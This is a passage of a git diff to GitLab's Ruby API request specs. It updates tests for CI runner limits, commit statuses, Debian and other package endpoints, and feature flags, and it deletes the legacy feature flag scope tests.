+ create(:plan_limits, :default_plan, ci_registered_project_runners: 1)
+ end
+
+ it 'creates runner' do
+ request
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['message']).to be_nil
+ expect(project.runners.reload.size).to eq(2)
+ expect(project.runners.recent.size).to eq(1)
+ end
+ end
end
context 'when group token is used' do
@@ -135,7 +151,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
context 'when it exceeds the application limits' do
before do
- create(:ci_runner, runner_type: :group_type, groups: [group])
+ create(:ci_runner, runner_type: :group_type, groups: [group], contacted_at: nil, created_at: 1.month.ago)
create(:plan_limits, :default_plan, ci_registered_group_runners: 1)
end
@@ -147,6 +163,23 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(group.runners.reload.size).to eq(1)
end
end
+
+ context 'when abandoned runners cause application limits to not be exceeded' do
+ before do
+ create(:ci_runner, runner_type: :group_type, groups: [group], created_at: 4.months.ago, contacted_at: 3.months.ago)
+ create(:ci_runner, runner_type: :group_type, groups: [group], contacted_at: nil, created_at: 4.months.ago)
+ create(:plan_limits, :default_plan, ci_registered_group_runners: 1)
+ end
+
+ it 'creates runner' do
+ request
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['message']).to be_nil
+ expect(group.runners.reload.size).to eq(3)
+ expect(group.runners.recent.size).to eq(1)
+ end
+ end
end
end
diff --git a/spec/requests/api/ci/runners_spec.rb b/spec/requests/api/ci/runners_spec.rb
index 1727bc830fc..82fb4440429 100644
--- a/spec/requests/api/ci/runners_spec.rb
+++ b/spec/requests/api/ci/runners_spec.rb
@@ -137,11 +137,11 @@ RSpec.describe API::Ci::Runners do
get api('/runners/all', admin)
expect(json_response).to match_array [
- a_hash_including('description' => 'Project runner'),
- a_hash_including('description' => 'Two projects runner'),
- a_hash_including('description' => 'Group runner A'),
- a_hash_including('description' => 'Group runner B'),
- a_hash_including('description' => 'Shared runner')
+ a_hash_including('description' => 'Project runner', 'is_shared' => false, 'runner_type' => 'project_type'),
+ a_hash_including('description' => 'Two projects runner', 'is_shared' => false, 'runner_type' => 'project_type'),
+ a_hash_including('description' => 'Group runner A', 'is_shared' => false, 'runner_type' => 'group_type'),
+ a_hash_including('description' => 'Group runner B', 'is_shared' => false, 'runner_type' => 'group_type'),
+ a_hash_including('description' => 'Shared runner', 'is_shared' => true, 'runner_type' => 'instance_type')
]
end
diff --git a/spec/requests/api/commit_statuses_spec.rb b/spec/requests/api/commit_statuses_spec.rb
index ac125e81acd..ccc9f8c50c4 100644
--- a/spec/requests/api/commit_statuses_spec.rb
+++ b/spec/requests/api/commit_statuses_spec.rb
@@ -3,12 +3,12 @@
require 'spec_helper'
RSpec.describe API::CommitStatuses do
- let!(:project) { create(:project, :repository) }
- let(:commit) { project.repository.commit }
- let(:guest) { create_user(:guest) }
- let(:reporter) { create_user(:reporter) }
- let(:developer) { create_user(:developer) }
- let(:sha) { commit.id }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:commit) { project.repository.commit }
+ let_it_be(:guest) { create_user(:guest) }
+ let_it_be(:reporter) { create_user(:reporter) }
+ let_it_be(:developer) { create_user(:developer) }
+ let_it_be(:sha) { commit.id }
describe "GET /projects/:id/repository/commits/:sha/statuses" do
let(:get_url) { "/projects/#{project.id}/repository/commits/#{sha}/statuses" }
@@ -233,27 +233,44 @@ RSpec.describe API::CommitStatuses do
end
end
- context 'when updatig a commit status' do
+ context 'when updating a commit status' do
+ let(:parameters) do
+ {
+ state: 'success',
+ name: 'coverage',
+ ref: 'master'
+ }
+ end
+
+ let(:updatable_optional_attributes) do
+ {
+ description: 'new description',
+ coverage: 90.0
+ }
+ end
+
+ # creating the initial commit status
before do
post api(post_url, developer), params: {
state: 'running',
context: 'coverage',
ref: 'master',
description: 'coverage test',
- coverage: 0.0,
+ coverage: 10.0,
target_url: 'http://gitlab.com/status'
}
+ end
+ subject(:send_request) do
post api(post_url, developer), params: {
- state: 'success',
- name: 'coverage',
- ref: 'master',
- description: 'new description',
- coverage: 90.0
+ **parameters,
+ **updatable_optional_attributes
}
end
it 'updates a commit status' do
+ send_request
+
expect(response).to have_gitlab_http_status(:created)
expect(json_response['sha']).to eq(commit.id)
expect(json_response['status']).to eq('success')
@@ -265,7 +282,28 @@ RSpec.describe API::CommitStatuses do
end
it 'does not create a new commit status' do
- expect(CommitStatus.count).to eq 1
+ expect { send_request }.not_to change { CommitStatus.count }
+ end
+
+ context 'when the `state` parameter is sent the same' do
+ let(:parameters) do
+ {
+ state: 'running',
+ name: 'coverage',
+ ref: 'master'
+ }
+ end
+
+ it 'does not update the commit status' do
+ send_request
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+
+ commit_status = project.commit_statuses.find_by!(name: 'coverage')
+
+ expect(commit_status.description).to eq('coverage test')
+ expect(commit_status.coverage).to eq(10.0)
+ end
end
end
diff --git a/spec/requests/api/commits_spec.rb b/spec/requests/api/commits_spec.rb
index ac3aa808f37..1162ae76d15 100644
--- a/spec/requests/api/commits_spec.rb
+++ b/spec/requests/api/commits_spec.rb
@@ -284,6 +284,18 @@ RSpec.describe API::Commits do
end
end
end
+
+ context 'with the optional trailers parameter' do
+ it 'includes the Git trailers' do
+ get api("/projects/#{project_id}/repository/commits?ref_name=6d394385cf567f80a8fd85055db1ab4c5295806f&trailers=true", current_user)
+
+ commit = json_response[0]
+
+ expect(commit['trailers']).to eq(
+ 'Signed-off-by' => 'Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>'
+ )
+ end
+ end
end
end
@@ -1503,6 +1515,13 @@ RSpec.describe API::Commits do
expect(json_response).to eq("dry_run" => "success")
expect(project.commit(branch)).to eq(head)
end
+
+ it 'supports the use of a custom commit message' do
+ post api(route, user), params: { branch: branch, message: 'foo' }
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response["message"]).to eq('foo')
+ end
end
context 'when repository is disabled' do
diff --git a/spec/requests/api/composer_packages_spec.rb b/spec/requests/api/composer_packages_spec.rb
index 0ff88cb41a8..4120edabea3 100644
--- a/spec/requests/api/composer_packages_spec.rb
+++ b/spec/requests/api/composer_packages_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe API::ComposerPackages do
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let_it_be(:package_name) { 'package-name' }
let_it_be(:project, reload: true) { create(:project, :custom_repo, files: { 'composer.json' => { name: package_name }.to_json }, group: group) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: user } }
let(:headers) { {} }
using RSpec::Parameterized::TableSyntax
@@ -428,6 +429,7 @@ RSpec.describe API::ComposerPackages do
with_them do
let(:token) { user_token ? personal_access_token.token : 'wrong' }
let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
before do
project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
diff --git a/spec/requests/api/conan_instance_packages_spec.rb b/spec/requests/api/conan_instance_packages_spec.rb
index 817530f0bad..ff3b332c620 100644
--- a/spec/requests/api/conan_instance_packages_spec.rb
+++ b/spec/requests/api/conan_instance_packages_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe API::ConanInstancePackages do
+ let(:snowplow_standard_context_params) { { user: user, project: project, namespace: project.namespace } }
+
include_context 'conan api setup'
describe 'GET /api/v4/packages/conan/v1/ping' do
diff --git a/spec/requests/api/debian_group_packages_spec.rb b/spec/requests/api/debian_group_packages_spec.rb
index 42c6c987872..c3abb06c5c1 100644
--- a/spec/requests/api/debian_group_packages_spec.rb
+++ b/spec/requests/api/debian_group_packages_spec.rb
@@ -7,33 +7,33 @@ RSpec.describe API::DebianGroupPackages do
include_context 'Debian repository shared context', :group, false do
describe 'GET groups/:id/-/packages/debian/dists/*distribution/Release.gpg' do
- let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution}/Release.gpg" }
+ let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/Release.gpg" }
it_behaves_like 'Debian repository read endpoint', 'GET request', :not_found
end
describe 'GET groups/:id/-/packages/debian/dists/*distribution/Release' do
- let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution}/Release" }
+ let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/Release" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, 'TODO Release'
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Release$/
end
describe 'GET groups/:id/-/packages/debian/dists/*distribution/InRelease' do
- let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution}/InRelease" }
+ let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/InRelease" }
it_behaves_like 'Debian repository read endpoint', 'GET request', :not_found
end
describe 'GET groups/:id/-/packages/debian/dists/*distribution/:component/binary-:architecture/Packages' do
- let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution}/#{component}/binary-#{architecture}/Packages" }
+ let(:url) { "/groups/#{container.id}/-/packages/debian/dists/#{distribution.codename}/#{component}/binary-#{architecture}/Packages" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, 'TODO Packages'
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Packages$/
end
describe 'GET groups/:id/-/packages/debian/pool/:component/:letter/:source_package/:file_name' do
let(:url) { "/groups/#{container.id}/-/packages/debian/pool/#{component}/#{letter}/#{source_package}/#{package_name}_#{package_version}_#{architecture}.deb" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, 'TODO File'
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO File$/
end
end
end
diff --git a/spec/requests/api/debian_project_packages_spec.rb b/spec/requests/api/debian_project_packages_spec.rb
index f400b6e928c..c11c4ecc12a 100644
--- a/spec/requests/api/debian_project_packages_spec.rb
+++ b/spec/requests/api/debian_project_packages_spec.rb
@@ -7,43 +7,55 @@ RSpec.describe API::DebianProjectPackages do
include_context 'Debian repository shared context', :project, true do
describe 'GET projects/:id/packages/debian/dists/*distribution/Release.gpg' do
- let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution}/Release.gpg" }
+ let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/Release.gpg" }
it_behaves_like 'Debian repository read endpoint', 'GET request', :not_found
end
describe 'GET projects/:id/packages/debian/dists/*distribution/Release' do
- let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution}/Release" }
+ let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/Release" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, 'TODO Release'
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Release$/
end
describe 'GET projects/:id/packages/debian/dists/*distribution/InRelease' do
- let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution}/InRelease" }
+ let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/InRelease" }
it_behaves_like 'Debian repository read endpoint', 'GET request', :not_found
end
describe 'GET projects/:id/packages/debian/dists/*distribution/:component/binary-:architecture/Packages' do
- let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution}/#{component}/binary-#{architecture}/Packages" }
+ let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component}/binary-#{architecture}/Packages" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, 'TODO Packages'
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO Packages$/
end
describe 'GET projects/:id/packages/debian/pool/:component/:letter/:source_package/:file_name' do
let(:url) { "/projects/#{container.id}/packages/debian/pool/#{component}/#{letter}/#{source_package}/#{package_name}_#{package_version}_#{architecture}.deb" }
- it_behaves_like 'Debian repository read endpoint', 'GET request', :success, 'TODO File'
+ it_behaves_like 'Debian repository read endpoint', 'GET request', :success, /^TODO File$/
end
describe 'PUT projects/:id/packages/debian/:file_name' do
let(:method) { :put }
let(:url) { "/projects/#{container.id}/packages/debian/#{file_name}" }
+ let(:snowplow_gitlab_standard_context) { { project: container, user: user, namespace: container.namespace } }
- it_behaves_like 'Debian repository write endpoint', 'upload request', :created
+ context 'with a deb' do
+ let(:file_name) { 'libsample0_1.2.3~alpha2_amd64.deb' }
+
+ it_behaves_like 'Debian repository write endpoint', 'upload request', :created
+ end
+
+ context 'with a changes file' do
+ let(:file_name) { 'sample_1.2.3~alpha2_amd64.changes' }
+
+ it_behaves_like 'Debian repository write endpoint', 'upload request', :created
+ end
end
describe 'PUT projects/:id/packages/debian/:file_name/authorize' do
+ let(:file_name) { 'libsample0_1.2.3~alpha2_amd64.deb' }
let(:method) { :put }
let(:url) { "/projects/#{container.id}/packages/debian/#{file_name}/authorize" }
diff --git a/spec/requests/api/feature_flag_scopes_spec.rb b/spec/requests/api/feature_flag_scopes_spec.rb
deleted file mode 100644
index da5b2cbb7ae..00000000000
--- a/spec/requests/api/feature_flag_scopes_spec.rb
+++ /dev/null
@@ -1,319 +0,0 @@
-# frozen_string_literal: true
-require 'spec_helper'
-
-RSpec.describe API::FeatureFlagScopes do
- include FeatureFlagHelpers
-
- let(:project) { create(:project, :repository) }
- let(:developer) { create(:user) }
- let(:reporter) { create(:user) }
- let(:user) { developer }
-
- before do
- project.add_developer(developer)
- project.add_reporter(reporter)
- end
-
- shared_examples_for 'check user permission' do
- context 'when user is reporter' do
- let(:user) { reporter }
-
- it 'forbids the request' do
- subject
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
- end
-
- shared_examples_for 'not found' do
- it 'returns Not Found' do
- subject
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- describe 'GET /projects/:id/feature_flag_scopes' do
- subject do
- get api("/projects/#{project.id}/feature_flag_scopes", user),
- params: params
- end
-
- let(:feature_flag_1) { create_flag(project, 'flag_1', true) }
- let(:feature_flag_2) { create_flag(project, 'flag_2', true) }
-
- before do
- create_scope(feature_flag_1, 'staging', false)
- create_scope(feature_flag_1, 'production', true)
- create_scope(feature_flag_2, 'review/*', false)
- end
-
- context 'when environment is production' do
- let(:params) { { environment: 'production' } }
-
- it_behaves_like 'check user permission'
-
- it 'returns all effective feature flags under the environment' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag_detailed_scopes')
- expect(json_response.second).to include({ 'name' => 'flag_1', 'active' => true })
- expect(json_response.first).to include({ 'name' => 'flag_2', 'active' => true })
- end
- end
-
- context 'when environment is staging' do
- let(:params) { { environment: 'staging' } }
-
- it 'returns all effective feature flags under the environment' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.second).to include({ 'name' => 'flag_1', 'active' => false })
- expect(json_response.first).to include({ 'name' => 'flag_2', 'active' => true })
- end
- end
-
- context 'when environment is review/feature X' do
- let(:params) { { environment: 'review/feature X' } }
-
- it 'returns all effective feature flags under the environment' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.second).to include({ 'name' => 'flag_1', 'active' => true })
- expect(json_response.first).to include({ 'name' => 'flag_2', 'active' => false })
- end
- end
- end
-
- describe 'GET /projects/:id/feature_flags/:name/scopes' do
- subject do
- get api("/projects/#{project.id}/feature_flags/#{feature_flag.name}/scopes", user)
- end
-
- context 'when there are two scopes' do
- let(:feature_flag) { create_flag(project, 'test') }
- let!(:additional_scope) { create_scope(feature_flag, 'production', false) }
-
- it_behaves_like 'check user permission'
-
- it 'returns scopes of the feature flag' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag_scopes')
- expect(json_response.count).to eq(2)
- expect(json_response.first['environment_scope']).to eq(feature_flag.scopes[0].environment_scope)
- expect(json_response.second['environment_scope']).to eq(feature_flag.scopes[1].environment_scope)
- end
- end
-
- context 'when there are no feature flags' do
- let(:feature_flag) { double(:feature_flag, name: 'test') }
-
- it_behaves_like 'not found'
- end
- end
-
- describe 'POST /projects/:id/feature_flags/:name/scopes' do
- subject do
- post api("/projects/#{project.id}/feature_flags/#{feature_flag.name}/scopes", user),
- params: params
- end
-
- let(:params) do
- {
- environment_scope: 'staging',
- active: true,
- strategies: [{ name: 'userWithId', parameters: { 'userIds': 'a,b,c' } }].to_json
- }
- end
-
- context 'when there is a corresponding feature flag' do
- let!(:feature_flag) { create(:operations_feature_flag, project: project) }
-
- it_behaves_like 'check user permission'
-
- it 'creates a new scope' do
- subject
-
- expect(response).to have_gitlab_http_status(:created)
- expect(response).to match_response_schema('public_api/v4/feature_flag_scope')
- expect(json_response['environment_scope']).to eq(params[:environment_scope])
- expect(json_response['active']).to eq(params[:active])
- expect(json_response['strategies']).to eq(Gitlab::Json.parse(params[:strategies]))
- end
-
- context 'when the scope already exists' do
- before do
- create_scope(feature_flag, params[:environment_scope])
- end
-
- it 'returns error' do
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['message']).to include('Scopes environment scope (staging) has already been taken')
- end
- end
- end
-
- context 'when feature flag is not found' do
- let(:feature_flag) { double(:feature_flag, name: 'test') }
-
- it_behaves_like 'not found'
- end
- end
-
- describe 'GET /projects/:id/feature_flags/:name/scopes/:environment_scope' do
- subject do
- get api("/projects/#{project.id}/feature_flags/#{feature_flag.name}/scopes/#{environment_scope}",
- user)
- end
-
- let(:environment_scope) { scope.environment_scope }
-
- shared_examples_for 'successful response' do
- it 'returns a scope' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag_scope')
- expect(json_response['id']).to eq(scope.id)
- expect(json_response['active']).to eq(scope.active)
- expect(json_response['environment_scope']).to eq(scope.environment_scope)
- end
- end
-
- context 'when there is a feature flag' do
- let!(:feature_flag) { create(:operations_feature_flag, project: project) }
- let(:scope) { feature_flag.default_scope }
-
- it_behaves_like 'check user permission'
- it_behaves_like 'successful response'
-
- context 'when environment scope includes slash' do
- let!(:scope) { create_scope(feature_flag, 'review/*', false) }
-
- it_behaves_like 'not found'
-
- context 'when URL-encoding the environment scope parameter' do
- let(:environment_scope) { CGI.escape(scope.environment_scope) }
-
- it_behaves_like 'successful response'
- end
- end
- end
-
- context 'when there are no feature flags' do
- let(:feature_flag) { double(:feature_flag, name: 'test') }
- let(:scope) { double(:feature_flag_scope, environment_scope: 'prd') }
-
- it_behaves_like 'not found'
- end
- end
-
- describe 'PUT /projects/:id/feature_flags/:name/scopes/:environment_scope' do
- subject do
- put api("/projects/#{project.id}/feature_flags/#{feature_flag.name}/scopes/#{environment_scope}",
- user), params: params
- end
-
- let(:environment_scope) { scope.environment_scope }
-
- let(:params) do
- {
- active: true,
- strategies: [{ name: 'userWithId', parameters: { 'userIds': 'a,b,c' } }].to_json
- }
- end
-
- context 'when there is a corresponding feature flag' do
- let!(:feature_flag) { create(:operations_feature_flag, project: project) }
- let(:scope) { create_scope(feature_flag, 'staging', false, [{ name: "default", parameters: {} }]) }
-
- it_behaves_like 'check user permission'
-
- it 'returns the updated scope' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag_scope')
- expect(json_response['id']).to eq(scope.id)
- expect(json_response['active']).to eq(params[:active])
- expect(json_response['strategies']).to eq(Gitlab::Json.parse(params[:strategies]))
- end
-
- context 'when there are no corresponding feature flag scopes' do
- let(:scope) { double(:feature_flag_scope, environment_scope: 'prd') }
-
- it_behaves_like 'not found'
- end
- end
-
- context 'when there are no corresponding feature flags' do
- let(:feature_flag) { double(:feature_flag, name: 'test') }
- let(:scope) { double(:feature_flag_scope, environment_scope: 'prd') }
-
- it_behaves_like 'not found'
- end
- end
-
- describe 'DELETE /projects/:id/feature_flags/:name/scopes/:environment_scope' do
- subject do
- delete api("/projects/#{project.id}/feature_flags/#{feature_flag.name}/scopes/#{environment_scope}",
- user)
- end
-
- let(:environment_scope) { scope.environment_scope }
-
- shared_examples_for 'successful response' do
- it 'destroys the scope' do
- expect { subject }
- .to change { Operations::FeatureFlagScope.exists?(environment_scope: scope.environment_scope) }
- .from(true).to(false)
-
- expect(response).to have_gitlab_http_status(:no_content)
- end
- end
-
- context 'when there is a feature flag' do
- let!(:feature_flag) { create(:operations_feature_flag, project: project) }
-
- context 'when there is a targeted scope' do
- let!(:scope) { create_scope(feature_flag, 'production', false) }
-
- it_behaves_like 'check user permission'
- it_behaves_like 'successful response'
-
- context 'when environment scope includes slash' do
- let!(:scope) { create_scope(feature_flag, 'review/*', false) }
-
- it_behaves_like 'not found'
-
- context 'when URL-encoding the environment scope parameter' do
- let(:environment_scope) { CGI.escape(scope.environment_scope) }
-
- it_behaves_like 'successful response'
- end
- end
- end
-
- context 'when there are no targeted scopes' do
- let!(:scope) { double(:feature_flag_scope, environment_scope: 'production') }
-
- it_behaves_like 'not found'
- end
- end
-
- context 'when there are no feature flags' do
- let(:feature_flag) { double(:feature_flag, name: 'test') }
- let(:scope) { double(:feature_flag_scope, environment_scope: 'prd') }
-
- it_behaves_like 'not found'
- end
- end
-end
diff --git a/spec/requests/api/feature_flags_spec.rb b/spec/requests/api/feature_flags_spec.rb
index dd12648f4dd..2cd52c0a5e5 100644
--- a/spec/requests/api/feature_flags_spec.rb
+++ b/spec/requests/api/feature_flags_spec.rb
@@ -62,7 +62,7 @@ RSpec.describe API::FeatureFlags do
expect(response).to have_gitlab_http_status(:ok)
expect(response).to match_response_schema('public_api/v4/feature_flags')
- expect(json_response.map { |f| f['version'] }).to eq(%w[legacy_flag legacy_flag])
+ expect(json_response.map { |f| f['version'] }).to eq(%w[new_version_flag new_version_flag])
end
it 'does not have N+1 problem' do
@@ -145,7 +145,7 @@ RSpec.describe API::FeatureFlags do
expect(response).to match_response_schema('public_api/v4/feature_flag')
expect(json_response['name']).to eq(feature_flag.name)
expect(json_response['description']).to eq(feature_flag.description)
- expect(json_response['version']).to eq('legacy_flag')
+ expect(json_response['version']).to eq('new_version_flag')
end
it_behaves_like 'check user permission'
@@ -453,210 +453,6 @@ RSpec.describe API::FeatureFlags do
end
end
- describe 'POST /projects/:id/feature_flags/:name/enable' do
- subject do
- post api("/projects/#{project.id}/feature_flags/#{params[:name]}/enable", user),
- params: params
- end
-
- let(:params) do
- {
- name: 'awesome-feature',
- environment_scope: 'production',
- strategy: { name: 'userWithId', parameters: { userIds: 'Project:1' } }.to_json
- }
- end
-
- context 'when feature flag does not exist yet' do
- it 'creates a new feature flag with the specified scope and strategy' do
- subject
-
- feature_flag = project.operations_feature_flags.last
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag')
- expect(feature_flag.name).to eq(params[:name])
- expect(scope.strategies).to eq([Gitlab::Json.parse(params[:strategy])])
- expect(feature_flag.version).to eq('legacy_flag')
- end
-
- it 'returns the flag version and strategies in the json response' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag')
- expect(json_response.slice('version', 'strategies')).to eq({
- 'version' => 'legacy_flag',
- 'strategies' => []
- })
- end
-
- it_behaves_like 'check user permission'
- end
-
- context 'when feature flag exists already' do
- let!(:feature_flag) { create_flag(project, params[:name]) }
-
- context 'when feature flag scope does not exist yet' do
- it 'creates a new scope with the specified strategy' do
- subject
-
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(response).to have_gitlab_http_status(:ok)
- expect(scope.strategies).to eq([Gitlab::Json.parse(params[:strategy])])
- end
-
- it_behaves_like 'check user permission'
- end
-
- context 'when feature flag scope exists already' do
- let(:defined_strategy) { { name: 'userWithId', parameters: { userIds: 'Project:2' } } }
-
- before do
- create_scope(feature_flag, params[:environment_scope], true, [defined_strategy])
- end
-
- it 'adds an additional strategy to the scope' do
- subject
-
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(response).to have_gitlab_http_status(:ok)
- expect(scope.strategies).to eq([defined_strategy.deep_stringify_keys, Gitlab::Json.parse(params[:strategy])])
- end
-
- context 'when the specified strategy exists already' do
- let(:defined_strategy) { Gitlab::Json.parse(params[:strategy]) }
-
- it 'does not add a duplicate strategy' do
- subject
-
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- strategy_count = scope.strategies.count { |strategy| strategy['name'] == 'userWithId' }
- expect(response).to have_gitlab_http_status(:ok)
- expect(strategy_count).to eq(1)
- end
- end
- end
- end
-
- context 'with a version 2 flag' do
- let!(:feature_flag) { create(:operations_feature_flag, :new_version_flag, project: project, name: params[:name]) }
-
- it 'does not change the flag and returns an unprocessable_entity response' do
- subject
-
- expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(json_response).to eq({ 'message' => 'Version 2 flags not supported' })
- feature_flag.reload
- expect(feature_flag.scopes).to eq([])
- expect(feature_flag.strategies).to eq([])
- end
- end
- end
-
- describe 'POST /projects/:id/feature_flags/:name/disable' do
- subject do
- post api("/projects/#{project.id}/feature_flags/#{params[:name]}/disable", user),
- params: params
- end
-
- let(:params) do
- {
- name: 'awesome-feature',
- environment_scope: 'production',
- strategy: { name: 'userWithId', parameters: { userIds: 'Project:1' } }.to_json
- }
- end
-
- context 'when feature flag does not exist yet' do
- it_behaves_like 'not found'
- end
-
- context 'when feature flag exists already' do
- let!(:feature_flag) { create_flag(project, params[:name]) }
-
- context 'when feature flag scope does not exist yet' do
- it_behaves_like 'not found'
- end
-
- context 'when feature flag scope exists already and has the specified strategy' do
- let(:defined_strategies) do
- [
- { name: 'userWithId', parameters: { userIds: 'Project:1' } },
- { name: 'userWithId', parameters: { userIds: 'Project:2' } }
- ]
- end
-
- before do
- create_scope(feature_flag, params[:environment_scope], true, defined_strategies)
- end
-
- it 'removes the strategy from the scope' do
- subject
-
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag')
- expect(scope.strategies)
- .to eq([{ name: 'userWithId', parameters: { userIds: 'Project:2' } }.deep_stringify_keys])
- end
-
- it 'returns the flag version and strategies in the json response' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('public_api/v4/feature_flag')
- expect(json_response.slice('version', 'strategies')).to eq({
- 'version' => 'legacy_flag',
- 'strategies' => []
- })
- end
-
- it_behaves_like 'check user permission'
-
- context 'when strategies become empty array after the removal' do
- let(:defined_strategies) do
- [{ name: 'userWithId', parameters: { userIds: 'Project:1' } }]
- end
-
- it 'destroys the scope' do
- subject
-
- scope = feature_flag.scopes.find_by_environment_scope(params[:environment_scope])
- expect(response).to have_gitlab_http_status(:ok)
- expect(scope).to be_nil
- end
-
- it_behaves_like 'check user permission'
- end
- end
-
- context 'when scope exists already but cannot find the corresponding strategy' do
- let(:defined_strategy) { { name: 'userWithId', parameters: { userIds: 'Project:2' } } }
-
- before do
- create_scope(feature_flag, params[:environment_scope], true, [defined_strategy])
- end
-
- it_behaves_like 'not found'
- end
- end
-
- context 'with a version 2 feature flag' do
- let!(:feature_flag) { create(:operations_feature_flag, :new_version_flag, project: project, name: params[:name]) }
-
- it 'does not change the flag and returns an unprocessable_entity response' do
- subject
-
- expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(json_response).to eq({ 'message' => 'Version 2 flags not supported' })
- feature_flag.reload
- expect(feature_flag.scopes).to eq([])
- expect(feature_flag.strategies).to eq([])
- end
- end
- end
-
describe 'PUT /projects/:id/feature_flags/:name' do
context 'with a legacy feature flag' do
let!(:feature_flag) do
@@ -664,13 +460,13 @@ RSpec.describe API::FeatureFlags do
name: 'feature1', description: 'old description')
end
- it 'returns a 422' do
+ it 'returns a 404' do
params = { description: 'new description' }
put api("/projects/#{project.id}/feature_flags/feature1", user), params: params
- expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(json_response).to eq({ 'message' => 'PUT operations are not supported for legacy feature flags' })
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response).to eq({ 'message' => '404 Not Found' })
expect(feature_flag.reload.description).to eq('old description')
end
end
@@ -984,7 +780,7 @@ RSpec.describe API::FeatureFlags do
params: params
end
- let!(:feature_flag) { create(:operations_feature_flag, project: project) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, project: project) }
let(:params) { {} }
it 'destroys the feature flag' do
diff --git a/spec/requests/api/files_spec.rb b/spec/requests/api/files_spec.rb
index 71a4a1a2784..869df06b60c 100644
--- a/spec/requests/api/files_spec.rb
+++ b/spec/requests/api/files_spec.rb
@@ -558,8 +558,7 @@ RSpec.describe API::Files do
get api(url, current_user), params: params
- expect(response.headers["Cache-Control"]).to include("no-store")
- expect(response.headers["Cache-Control"]).to include("no-cache")
+ expect(response.headers["Cache-Control"]).to eq("max-age=0, private, must-revalidate, no-store, no-cache")
expect(response.headers["Pragma"]).to eq("no-cache")
expect(response.headers["Expires"]).to eq("Fri, 01 Jan 1990 00:00:00 GMT")
end
diff --git a/spec/requests/api/generic_packages_spec.rb b/spec/requests/api/generic_packages_spec.rb
index a5e40eec919..378ee2f3e7c 100644
--- a/spec/requests/api/generic_packages_spec.rb
+++ b/spec/requests/api/generic_packages_spec.rb
@@ -18,7 +18,8 @@ RSpec.describe API::GenericPackages do
let_it_be(:project_deploy_token_wo) { create(:project_deploy_token, deploy_token: deploy_token_wo, project: project) }
let(:user) { personal_access_token.user }
- let(:ci_build) { create(:ci_build, :running, user: user) }
+ let(:ci_build) { create(:ci_build, :running, user: user, project: project) }
+ let(:snowplow_standard_context_params) { { user: user, project: project, namespace: project.namespace } }
def auth_header
